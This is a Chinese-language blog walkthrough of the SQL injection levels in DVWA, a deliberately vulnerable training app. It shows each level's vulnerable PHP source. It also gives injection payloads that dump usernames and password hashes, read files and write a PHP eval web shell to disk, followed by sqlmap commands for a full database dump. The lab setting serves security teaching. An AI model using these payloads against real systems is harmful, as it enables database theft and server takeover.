【DVWA】SQL Injection(SQL 注入)通关教程
日期:2019-07-28 20:43:48
更新:
作者:Bay0net
介绍:
0x00、基本信息
关于 mysql 相关的注入,传送门。
SQL 注入漏洞之 mysql - Bay0net - 博客园
0x01、Low Security Level
查看源码
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
查看代码可知,服务器对传来的 user_id 没有任何过滤,直接按照流程手工注入即可。
手注流程
# 判断是否为注入
?id=1' or '1'='1
?id=1' or '1'='2
# 判断字段长度(2 正常,3 异常)
?id=1' order by 2 --
?id=1' order by 3 --
# 确定回显点
?id=1' union select 111,222 --
# 用户名和数据库名称
?id=1' union select user(),database() --
-- output:admin@localhost、dvwa
# 查看当前用户和 mysql 版本
?id=1' union select current_user(),version() --
-- output:First name: admin@%、 5.5.47-0ubuntu0.14.04.1
# 爆表名
?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database() --
-- output:guestbook,users
# 爆列名(两种办法,加引号或者十六进制编码)
?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273 --
?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' --
-- output:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
# 爆字段名
?id=1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users --
?id=1' union select null,concat_ws(char(32,58,32),user,password) from users --
?id=1' union select user,password from users --
-- output:admin/5f4dcc3b5aa765d61d8327deb882cf99
# 读文件
?id=1' union select 1,load_file('//tmp//key') --
# 写文件()
?id=1' and '1'='2' union select null,'hello' into outfile '/tmp/test01' --
?id=999' union select null,'hello' into outfile '/tmp/test02' --
?id=999' union select null,'<?php @eval($_POST["gg"]); ?>' into outfile '/tmp/test03' --
?id=999' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile '//tmp//test04' --
0x02、Medium Security Level
查看源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>
使用了 mysqli_real_escape_string 函数对特殊字符进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
转义的特殊字符如下
\x00
\n
\r
\
'
"
\x1a
PHP mysql_real_escape_string() 函数
手注流程
此处是数字型注入,所以和特殊符号过滤关系不大,使用 hackbar 进行 POST 即可。
# 判断注入点
id=1 and 1=1 &Submit=Submit
id=1 and 1=2 &Submit=Submit
# 爆数据
id=1 union select user,password from users&Submit=Submit
0x03、High Secuirty Level
查看源码
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
分析源码
此处加了个 limit 1 来限制输出,但是可以直接注释掉,解法与 Low Security Level 相同。
0x04、Impossible Secuity Level
采用了 PDO 技术,划清了代码与数据的界限,有效防御 SQL 注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了”脱裤”,Anti-CSRFtoken 机制的加入了进一步提高了安全性。
DVWA SQL Injection 通关教程 | AnCoLin's Blog|影风博客
0x05、sqlmap 一把梭
利用 sqlmap 工具进行注入
# 爆所有数据库
sqlmap -r 1.txt --dbs
-- output:dvwa、information_schema、mysql、performance_schema
# 爆表名
sqlmap -r 1.txt -D dvwa --tables
-- output:guestbook、users
# 爆字段名
sqlmap -r 1.txt -D dvwa -T users --columns
-- output:user、password、first_name、last_login、last_name……
# 爆字段内容
sqlmap -r 1.txt -D dvwa -T users -C user,password --dump
-- output:得到账号和 MD5 hash 后的密码
【DVWA】SQL Injection(SQL 注入)通关教程的更多相关文章
- Fortify Audit Workbench 笔记 SQL Injection SQL注入
SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...
- DVWA全级别之SQL Injection(SQL注入)
DVWA全级别之SQL Injection(注入) DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...
- DVWA之SQL Injection
SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...
- 新手指南:DVWA-1.9全级别教程之SQL Injection
*本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- DVWA SQL Injection 通关教程
SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱 ...
- DVWA SQL Injection(Blind) 通关教程
SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是 ...
- 使用sqlmap注入DVWA的SQL Injection菜单
1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...
- DVWA(三):SQL injection 全等级SQL注入
(本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...
随机推荐
- 002-loganalyzer装完报错no syslog records found
1.登录mysql查看库Syslog中的表SystemEvents;是否有返回数据 # select * from Syslog.SystemEvents; #又返回数据说明rsyslog配置正确, ...
- 第三次java测验1
设计思想: 输入一个字符串,然后将字符串倒置,比较字符串第i位上的字符与倒数第i位上的字符是否相同,如果都相同则字符串是回文:否则字符串不是回文. 源代码: package java3; import ...
- Mongodb文档查询
MongoDB 查询数据的语法格式如下: db.collection.find(query, projection) query :可选,使用查询操作符指定查询条件 projection :可选,使用 ...
- Kendo UI for jQuery使用教程:初始化jQuery插件
[Kendo UI for jQuery最新试用版下载] Kendo UI目前最新提供Kendo UI for jQuery.Kendo UI for Angular.Kendo UI Support ...
- java读取word文档,提取标题和内容
使用的工具为poi,需要导入的依赖如下 <dependency> <groupId>org.apache.poi</groupId> <artifactId& ...
- k8sDeployment控制器
简写为deploy,是k8s控制器的另一种实现,它构建于ReplicaSet之上,可为pod和rs资源提供声明式更新. deploy控制器资源的大部分功能均可通过调用rs来实现,同时,还增添了部分特性 ...
- JQuery的deferred.promise()
jQuery提供的deferred.promise()方法的作用是,在原来的Deferred 对象上返回另一个 Deferred 对象,即受限制的 Promise 对象,受限制的 Promise 对象 ...
- [Atcoder2292] Division into Two
题目大意 给定n个不同的整数,求将它们分成两个集合X,Y,并且X集合中任意两个数的差>=A,Y集合中任意两个数的差>=B的方案数. 样例输入 5 3 7 1 3 6 9 12 样例输出 5 ...
- webbrowser 修改浏览器版本的方法
http://blog.csdn.net/herogui/article/details/51982474
- jquery enabled选择器 语法
jquery enabled选择器 语法 作用::enabled 选择器选取所有启用的表单元素.大理石平台精度等级 语法:$(":enabled") jquery enabled选 ...